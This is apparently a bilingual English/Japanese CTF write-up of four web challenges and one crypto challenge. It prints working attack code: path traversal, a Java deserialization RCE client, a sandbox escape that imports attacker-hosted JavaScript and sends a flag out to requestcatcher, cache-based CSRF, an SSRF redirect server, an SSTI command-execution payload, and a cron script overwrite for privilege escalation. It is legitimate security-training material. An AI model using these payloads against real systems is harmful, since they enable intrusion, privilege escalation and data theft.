Hey guys. 日本語版は後半にあります。
- [web] jargon
- [web] in-the-shadows
- [web] esoteric-urge
- [web] rocket
- [crypto] Close-message
- [web] jargon 日本語
- [web] in-the-shadows 日本語
- [web] esoteric-urge 日本語
- [web] rocket 日本語
- [crypto] Close-message 日本語
[web] jargon
Testing various site endpoints reveals a path traversal vulnerability at GET /download?id=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd, allowing us to retrieve /etc/passwd. Similarly, by obtaining /proc/self/cmdline, we can see that the command execution is java -jar /app/target/jargon.jar, so we retrieve /app/target/jargon.jar and analyze its contents using jadx. An Exploit class that performs the command execution is defined.
/* loaded from: jargon.jar:ctf/jargon/Exploit.class */
public class Exploit implements Serializable {
private static final long serialVersionUID = 1;
private String cmd;
public Exploit(String cmd) {
this.cmd = cmd;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.cmd);
}
public String toString() {
return "Exploit triggered with command: " + this.cmd;
}
}
Additionally, since the process to deserialize the Exploit class is implemented in doPost, RCE can be achieved by uploading a serialized Exploit class via POST.
@Override // javax.servlet.http.HttpServlet
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String ctype = req.getContentType();
resp.setContentType("text/html");
if (ctype != null && ctype.startsWith("application/octet-stream")) {
try {
ObjectInputStream objectInputStream = new ObjectInputStream(req.getInputStream());
Throwable th = null;
try {
try {
resp.getWriter().println(header("Exploit") + "<div class='bg-red-900 p-6 rounded'><h2 class='text-xl font-bold text-red-300 mb-2'>[!] Deserialization Result</h2><p class='text-gray-200'>" + objectInputStream.readObject().toString() + "</p></div>" + footer());
if (objectInputStream != null) {
if (0 != 0) {
try {
objectInputStream.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
} else {
objectInputStream.close();
}
}
return;
} finally {
}
} catch (Throwable th3) {
th = th3;
throw th3;
}
} catch (Exception e) {
resp.getWriter().println(header("Error") + "<p class='text-red-400'>Error: " + e.getMessage() + "</p>" + footer());
return;
}
}
Therefore, deserialization and RCE can be performed using Java code like the following.
package ctf.jargon; import java.io.*; import java.net.*; public class Main { public static void main(String[] args) { try { String targetUrl = "http://[redacted]:30942/contact"; String command = "sh -c $@|sh . echo cat /flag-butlocationhastobesecret-1942e3.txt > /tmp/poc"; Exploit exploit = new Exploit(command); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(exploit); oos.close(); byte[] serializedData = baos.toByteArray(); URL url = new URL(targetUrl); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/octet-stream"); conn.setDoOutput(true); OutputStream os = conn.getOutputStream(); os.write(serializedData); os.flush(); os.close(); BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = br.readLine()) != null) { System.out.println(line); } br.close(); } catch (Exception e) { e.printStackTrace(); } } }
Since the flag is placed in /tmp/poc, the flag can be obtained by using the path traversal vulnerability mentioned earlier to retrieve /tmp/poc.
[web] in-the-shadows
Three restrictions are listed, so we'll bypass them one by one.
- Execution in a sandbox environment by sandboxFunction
- Character and length restrictions on code
- The flag is written inside the Shadow DOM
First, to bypass 1. Execution in a sandbox environment by sandboxFunction, we execute code to extract the window object.
const F = (''+[]).constructor.constructor; const win = F('return this')(); win.eval("alert(1)");
As shown above, JavaScript can be executed freely using eval.
Next, to bypass 2. Character and length restrictions on code, we construct strings by combining allowed characters and execute external JavaScript through import. By doing the following, the call to import('//[attacker-ip]/1') allows JavaScript prepared on the attacker's server to be executed.
let _='const'+'for'[2]+'hue'[1]+'ctx'[0]+'ctx'[1]+'for'[1]+'for'[2]; let __=(''+[])[_][_]; let ___ = __('for'[2]+'let'[1]+'let'[2]+'hue'[1]+'for'[2]+'sin'[2]+' '+'ctx'[1]+'hue'[0]+'sin'[1]+'sin'[0])(); ___['let'[1]+'canvas'[3]+'atan'[0]+'let'[0]]('sin'[1]+'time'[2]+''[_]['for'[0]+'for'[2]+'for'[1]+'time'[2]+'getContext'[3]+'hue'[0]+'atan'[0]+'for'[2]+'getContext'[3]+'for'[1]+'d'+'hue'[2]](112)+'for'[1]+'for'[2]+'let'[2]+'("//[attacker-ip]/1")');
Finally, to bypass 3. The flag is written inside the Shadow DOM, we use document.execCommand's FindString. This is a function that can determine whether a given string exists within the site, and it includes the contents of the Shadow DOM in its search scope. Therefore, by performing a brute-force search of the flag from the beginning and using document.execCommand's FindString to check if the flag string exists, we can identify it character by character from the start.
By setting up a web server on the attacker's server as follows and calling it using import, the flag will be sent character by character to requestcatcher from the beginning.
from flask import Flask from flask_cors import CORS app = Flask(__name__) CORS(app) @app.route('/1') def serve_js(): return """ const dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!$%&'()*+,-./:;<=>?@[]^_`{|}~ "; let flag = "DCTF{"; for (let pos = 0; pos < 40; pos++) { for (let i = 0; i < dic.length; i++) { const testString = flag + dic[i]; if (document.execCommand('FindString', false, testString)) { flag += dic[i]; fetch('https://[yours].requestcatcher.com/found?q='+flag) } } } """, 200, {'Content-Type': 'application/javascript'} if __name__ == '__main__': app.run(debug=True, port=80, host='0.0.0.0')
[web] esoteric-urge
We cleverly use the cache mechanism to perform CSRF and information extraction. The cache appears to only work under /public, but by performing GET /public/..%2Fawaken, we can trigger the cache that only works under /public at /awaken. The cache is configured in the following section.
const cache = new NodeCache({ stdTTL: 60 }); // Help for large files app.use('/public', middleware.cacheFiles(cache), express.static('public'));
Caching works when the path starts with /public, but if the corresponding file does not exist, it falls back to the subsequent processing.
app.use((req, res, next) => { req.url = path.normalize(decodeURIComponent(req.path)); next(); });
Since decoding and normalization are performed in this process, /public/..%2Fawaken is converted to /awaken, and routing is then performed in the subsequent processing. This allows us to use caching for arbitrary endpoints.
The attack procedure is as follows:
- Make the admin browse
http://127.0.0.1:3000/public/..%2Fawaken. This leaves a cache of the/awakenresult by the administrator. - By viewing
GET /public/..%2Fawaken, the cache can be retrieved, allowing us to obtain the administrator's _csrf. - Incorporate it to create HTML like the following. CSRF can be triggered by using _csrf as the CSRF token.
<form action="http://127.0.0.1:3000/public/..%2Fawaken" method="POST"> <input type="hidden" name="_csrf" value="[extracted-csrf-token]"> <input type="text" id="username" name="username" value="error-kun"> <input type="text" id="role" name="role" value="guide"> <button type="submit">Submit</button> </form>
- Wait about 70 seconds for the cache to expire, then have the administrator open the HTML from step 3. This leaves a cache of
POST /public/..%2Fawaken. Through CSRF, user creation in the guide occurs, and the authentication information for that user is recorded from the cache. - By viewing
POST /public/..%2Fawaken, the cache remains and login information can be obtained. - Log in with that information and obtain the flag with
DELETE /reach_nirvana.
[web] rocket
When passing a link like http://blog:4000/, the response Forbidden Blocked: internal address is returned. This validation can be bypassed by using redirects.
import sys from http.server import HTTPServer, BaseHTTPRequestHandler class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://127.0.0.1:4000/') self.end_headers() HTTPServer(("", int(8989)), Redirect).serve_forever()
By setting up such a redirect server, making it public through ngrok or similar, and having it accessed, we can view the site at http://blog:4000/. Based on the images from the site, it appears to be a site where comments can be posted. Therefore, we prepare a form and try posting via POST. We prepare HTML like the following and have it opened.
<form id=form action="http://127.0.0.1:4000" method="POST"> <input name="comment" value="test"> <button>submit</button> </form> <script> const sleep = ms => new Promise(r => setTimeout(r, ms)); setTimeout(async () => { form.submit(); }, 0); </script>
When executing this, "test" is recorded as a comment. Similarly, when writing {{7*7}}, it gets written as "49", indicating that SSTI is possible. When trying {{request.application.globals.builtins.import('os').popen('id').read()}}, the execution result of the id command is obtained, confirming that RCE is possible. We establish a reverse shell to enable shell operations. Looking at the permissions of /flag.txt, root privileges are required, and since we currently have blog user privileges, privilege escalation is necessary.
Looking at /etc/crontab, a cron job */10 * * * * root /usr/sbin/logrotate -f /etc/logrotate.d/app was configured. It is executed with root privileges. Looking at cat /etc/logrotate.d/app, /usr/local/bin/cleanup.sh is specified in the postrotate of /var/log/app.log as follows.
/var/log/app.log {
daily
rotate 7
compress
missingok
notifempty
postrotate
/usr/local/bin/cleanup.sh
endscript
}
Since /usr/local/bin/cleanup.sh was writable by the blog user, we write commands to copy the flag and set the ACL to 777 as follows.
echo "cp /flag.txt /tmp/flag.txt && chmod 777 /tmp/flag.txt" > /usr/local/bin/cleanup.sh
To execute this, modification of /var/log/app.log is necessary, so we write some strings to it as follows.
echo "hoge" > /var/log/app.log
After that, if we wait 10 minutes, the flag will be copied to /tmp/flag.txt, so we can obtain the flag with cat /tmp/flag.txt.
[crypto] Close-message
For each group, when eps is represented in bits, there are 4 or fewer positions where 1 is set, so we can recover eps by brute-forcing which bits are 1 in eps, then calculate m from there and determine m by checking whether m2 = c mod n is satisfied.
import re, binascii from datetime import datetime Ns=[ redacted ] Cs=[ redacted ] Ms=[ redacted ] def get(i, n, c, M): for c1 in range(512): print(c1, datetime.now().strftime("%Y-%m-%d %H:%M:%S"), flush=True) for c2 in range(c1+1, 512): for c3 in range(c2+1, 512): for c4 in range(c3+1, 512): eps = (1 << c1) + (1 << c2) + (1 << c3) + (1 << c4) m = M ^ eps if pow(m, 2, n) == c: print(f"Found m[{i}] = {m}", flush=True) return m return -1 for i in range(len(Ns)): print(f"======= {i} =======", flush=True) print(get(i, Ns[i], Cs[i], Ms[i]), flush=True)
By executing this script, the ms can be recovered in about half a day, and then the flag can be recovered using the ms.
from Crypto.Util.number import * from Crypto.Hash import SHA256 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import binascii ms = [ redacted ] def getkey(x): h = SHA256.new() h.update(str(x).encode()) return h.digest() key=getkey(ms) cipher=AES.new(key,AES.MODE_ECB) enc='985c099ea39ae0c1cc86b002695cd60b4efd49a1eecdbcea8dba3229bead65a9a91c42c0694e28206059add3ce4034e964da904073c0c52e71d56af97e271fe0cefc2431cf1e2cdb3ae1629b1bbd8c25' print(cipher.decrypt(binascii.unhexlify(enc)))
[web] jargon 日本語
サイトのエンドポイントを色々試すと GET /download?id=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswdでパストラバーサル脆弱性があり/etc/passwdを取得することができる。同様に/proc/self/cmdlineを取得するとjava -jar /app/target/jargon.jarというコマンド実行であることが分かるため、/app/target/jargon.jarを取得して中身をjadxで解析する。
/* loaded from: jargon.jar:ctf/jargon/Exploit.class */
public class Exploit implements Serializable {
private static final long serialVersionUID = 1;
private String cmd;
public Exploit(String cmd) {
this.cmd = cmd;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.cmd);
}
public String toString() {
return "Exploit triggered with command: " + this.cmd;
}
}
以上のようなコマンド実行を行うExploitクラスが定義されている。
@Override // javax.servlet.http.HttpServlet
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String ctype = req.getContentType();
resp.setContentType("text/html");
if (ctype != null && ctype.startsWith("application/octet-stream")) {
try {
ObjectInputStream objectInputStream = new ObjectInputStream(req.getInputStream());
Throwable th = null;
try {
try {
resp.getWriter().println(header("Exploit") + "<div class='bg-red-900 p-6 rounded'><h2 class='text-xl font-bold text-red-300 mb-2'>[!] Deserialization Result</h2><p class='text-gray-200'>" + objectInputStream.readObject().toString() + "</p></div>" + footer());
if (objectInputStream != null) {
if (0 != 0) {
try {
objectInputStream.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
} else {
objectInputStream.close();
}
}
return;
} finally {
}
} catch (Throwable th3) {
th = th3;
throw th3;
}
} catch (Exception e) {
resp.getWriter().println(header("Error") + "<p class='text-red-400'>Error: " + e.getMessage() + "</p>" + footer());
return;
}
}
また、Exploitクラスをデシリアライズする処理がdoPostで実装されているため、POSTでシリアライズされたExploitクラスをアップロードすることでRCEすることができる。よって、以下のようなjavaのコードを使うことでデシリアライズとRCEを行うことができる。
package ctf.jargon; import java.io.*; import java.net.*; public class Main { public static void main(String[] args) { try { String targetUrl = "http://[redacted]:30942/contact"; String command = "sh -c $@|sh . echo cat /flag-butlocationhastobesecret-1942e3.txt > /tmp/poc"; Exploit exploit = new Exploit(command); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(exploit); oos.close(); byte[] serializedData = baos.toByteArray(); URL url = new URL(targetUrl); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/octet-stream"); conn.setDoOutput(true); OutputStream os = conn.getOutputStream(); os.write(serializedData); os.flush(); os.close(); BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = br.readLine()) != null) { System.out.println(line); } br.close(); } catch (Exception e) { e.printStackTrace(); } } }
最終的には以上のようなスクリプトでRCEを行い、フラグを/tmp/pocに配置して、先ほど使ったパストラバーサルを使って/tmp/pocを取得すればフラグが得られる。
[web] in-the-shadows 日本語
3つの制限が書けられているので、順番に回避する。
- sandboxFunctionによるサンドボックス環境での実行
- codeの文字と長さ制限
- Shadow DOMの中にフラグが書かれている
まず、1. sandboxFunctionによるサンドボックス環境での実行を回避するために、コード実行を行ってwindowを取り出す。
const F = (''+[]).constructor.constructor; const win = F('return this')(); win.eval("alert(1)");
以上のようにすればevalにより、自由にJavaScriptを実行することができる。
次に、2. codeの文字と長さ制限を回避するために、許可されている文字を組み合わせた文字列構築とimportによって外部のJavaScriptの実行を行う。以下のようにやると、import('//[attacker-ip]/1')の呼び出しにより、攻撃者のサーバに用意されたJavaScriptが実行できる。
let _='const'+'for'[2]+'hue'[1]+'ctx'[0]+'ctx'[1]+'for'[1]+'for'[2]; let __=(''+[])[_][_]; let ___ = __('for'[2]+'let'[1]+'let'[2]+'hue'[1]+'for'[2]+'sin'[2]+' '+'ctx'[1]+'hue'[0]+'sin'[1]+'sin'[0])(); ___['let'[1]+'canvas'[3]+'atan'[0]+'let'[0]]('sin'[1]+'time'[2]+''[_]['for'[0]+'for'[2]+'for'[1]+'time'[2]+'getContext'[3]+'hue'[0]+'atan'[0]+'for'[2]+'getContext'[3]+'for'[1]+'d'+'hue'[2]](112)+'for'[1]+'for'[2]+'let'[2]+'("//[attacker-ip]/1")');
最後に、3. Shadow DOMの中にフラグが書かれているを回避するために、document.execCommandのFindStringを使う。文字列を与えて、その文字列がサイト内に存在するかどうかを判定できる関数だが、これはShadow DOMの中身も検索対象に入る。よって、フラグを先頭から全探索していき、document.execCommandのFindStringでフラグの文字列があるかどうかを見ていくことで、先頭から順番に特定していく。
攻撃者サーバにて以下のようにWebサーバを立ち上げ、importを使って呼び出すと、フラグを先頭から順番にrequestcatcherに送信してくれる。
from flask import Flask from flask_cors import CORS app = Flask(__name__) CORS(app) @app.route('/1') def serve_js(): return """ const dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!$%&'()*+,-./:;<=>?@[]^_`{|}~ "; let flag = "DCTF{"; for (let pos = 0; pos < 40; pos++) { for (let i = 0; i < dic.length; i++) { const testString = flag + dic[i]; if (document.execCommand('FindString', false, testString)) { flag += dic[i]; fetch('https://[yours].requestcatcher.com/found?q='+flag) } } } """, 200, {'Content-Type': 'application/javascript'} if __name__ == '__main__': app.run(debug=True, port=80, host='0.0.0.0')
[web] esoteric-urge 日本語
キャッシュ機構をうまく使って、CSRFと情報抜き取りを行う。キャッシュは/public以下でしか働かないように見えるが、GET /public/..%2Fawakenのように行うと、/public以下でしか働かないキャッシュを/awakenで起こすことができる。キャッシュは以下の部分で設定されている。
const cache = new NodeCache({ stdTTL: 60 }); // Help for large files app.use('/public', middleware.cacheFiles(cache), express.static('public'));
/publicから始まる場合にキャッシュが効くのだが、該当するファイルが存在しない場合は、その後の処理にフォールバックする。
app.use((req, res, next) => { req.url = path.normalize(decodeURIComponent(req.path)); next(); });
この処理でデコードと正規化が行われるため、/public/..%2Fawakenが/awakenのように変換され、その後の処理でルーティングが行われてしまう。これによって任意のエンドポイントに対してキャッシュを使うことができる。
攻撃手順は以下の通り。
- adminに
http://127.0.0.1:3000/public/..%2Fawakenを閲覧させる。これにより管理者による/awaken結果のキャッシュが残る GET /public/..%2Fawakenを見るとキャッシュが取得できるため、管理者の_csrfが得られる- それを組み込んで以下のようなhtmlを作る。CSRFトークンは_csrfを使うことでCSRFを起こすことができる。
<form action="http://127.0.0.1:3000/public/..%2Fawaken" method="POST"> <input type="hidden" name="_csrf" value="[extracted-csrf-token]"> <input type="text" id="username" name="username" value="error-kun"> <input type="text" id="role" name="role" value="guide"> <button type="submit">Submit</button> </form>
- キャッシュが消えるまで70秒くらい待ち、管理者に手順3のHTMLを開かせる。これで
POST /public/..%2Fawakenのキャッシュが残る。CSRFによりguideでのユーザー作成と、キャッシュからそのユーザーの認証情報が記録される。 POST /public/..%2Fawakenを見るとキャッシュが残っており、ログイン情報が得られる- それでログインして
DELETE /reach_nirvanaでフラグが得られる
[web] rocket 日本語
http://blog:4000/というリンクを渡すとForbidden Blocked: internal addressと応答が帰ってくる。この検証はリダイレクトを使うことで回避できる。
import sys from http.server import HTTPServer, BaseHTTPRequestHandler class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://127.0.0.1:4000/') self.end_headers() HTTPServer(("", int(8989)), Redirect).serve_forever()
このようなリダイレクトのサーバを立ち上げて、ngrokなどで公開し、アクセスさせることで、http://blog:4000/のサイトを見ることができる。サイトの画像から推測すると、commentが投稿できるサイトのように見える。よって、フォームを用意してPOSTで投稿してみる。以下のようなHTMLを用意して、開かせてみる。
<form id=form action="http://127.0.0.1:4000" method="POST"> <input name="comment" value="test"> <button>submit</button> </form> <script> const sleep = ms => new Promise(r => setTimeout(r, ms)); setTimeout(async () => { form.submit(); }, 0); </script>
これを実行するとtestがコメントとして記録される。同様に{{7*7}}を書き込んでみると49と書き込まれるため、SSTIが可能であることが分かる。{{request.application.globals.builtins.import('os').popen('id').read()}}を試すとidコマンドの実行結果が得られたため、RCEが可能。リバースシェルを張って、シェル操作ができるようにする。/flag.txtの権限を見ると、root権限が必要で、今保有しているのはblogユーザーのため、権限昇格をする必要がある。
/etc/crontabを見ると、*/10 * * * * root /usr/sbin/logrotate -f /etc/logrotate.d/appというcronが設定されていた。root権限で実行されている。cat /etc/logrotate.d/appを見ると、以下のように/var/log/app.logのpostrotateに/usr/local/bin/cleanup.shが指定されている。
/var/log/app.log {
daily
rotate 7
compress
missingok
notifempty
postrotate
/usr/local/bin/cleanup.sh
endscript
}
/usr/local/bin/cleanup.shはblogユーザーでも書き込みが可能だったため、以下のようにフラグをコピーしてACLを777にするコマンドを書き込む。
echo "cp /flag.txt /tmp/flag.txt && chmod 777 /tmp/flag.txt" > /usr/local/bin/cleanup.sh
これを実行させるために、/var/log/app.logの修正が必要なので、以下のように適用に文字列を書き込む。
echo "hoge" > /var/log/app.log
あとは、10分待てば/tmp/flag.txtにフラグがコピーされるので、cat /tmp/flag.txtでフラグが手に入る。
[crypto] Close-message 日本語
それぞれの組についてepsをビットで表記したときに1が立っているのは4箇所以下になるので、epsでどのビットが1であるかを全探索することでepsを復元し、そこからmを計算し、m2=c mod nを満たすかどうかを判定することでmを求める。
import re, binascii from datetime import datetime Ns=[ redacted ] Cs=[ redacted ] Ms=[ redacted ] def get(i, n, c, M): for c1 in range(512): print(c1, datetime.now().strftime("%Y-%m-%d %H:%M:%S"), flush=True) for c2 in range(c1+1, 512): for c3 in range(c2+1, 512): for c4 in range(c3+1, 512): eps = (1 << c1) + (1 << c2) + (1 << c3) + (1 << c4) m = M ^ eps if pow(m, 2, n) == c: print(f"Found m[{i}] = {m}", flush=True) return m return -1 for i in range(len(Ns)): print(f"======= {i} =======", flush=True) print(get(i, Ns[i], Cs[i], Ms[i]), flush=True)
このスクリプトを実行する事で半日ほどでmsが復元でき、あとは、msを使ってフラグを復元する。
from Crypto.Util.number import * from Crypto.Hash import SHA256 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import binascii ms = [ redacted ] def getkey(x): h = SHA256.new() h.update(str(x).encode()) return h.digest() key=getkey(ms) cipher=AES.new(key,AES.MODE_ECB) enc='985c099ea39ae0c1cc86b002695cd60b4efd49a1eecdbcea8dba3229bead65a9a91c42c0694e28206059add3ce4034e964da904073c0c52e71d56af97e271fe0cefc2431cf1e2cdb3ae1629b1bbd8c25' print(cipher.decrypt(binascii.unhexlify(enc)))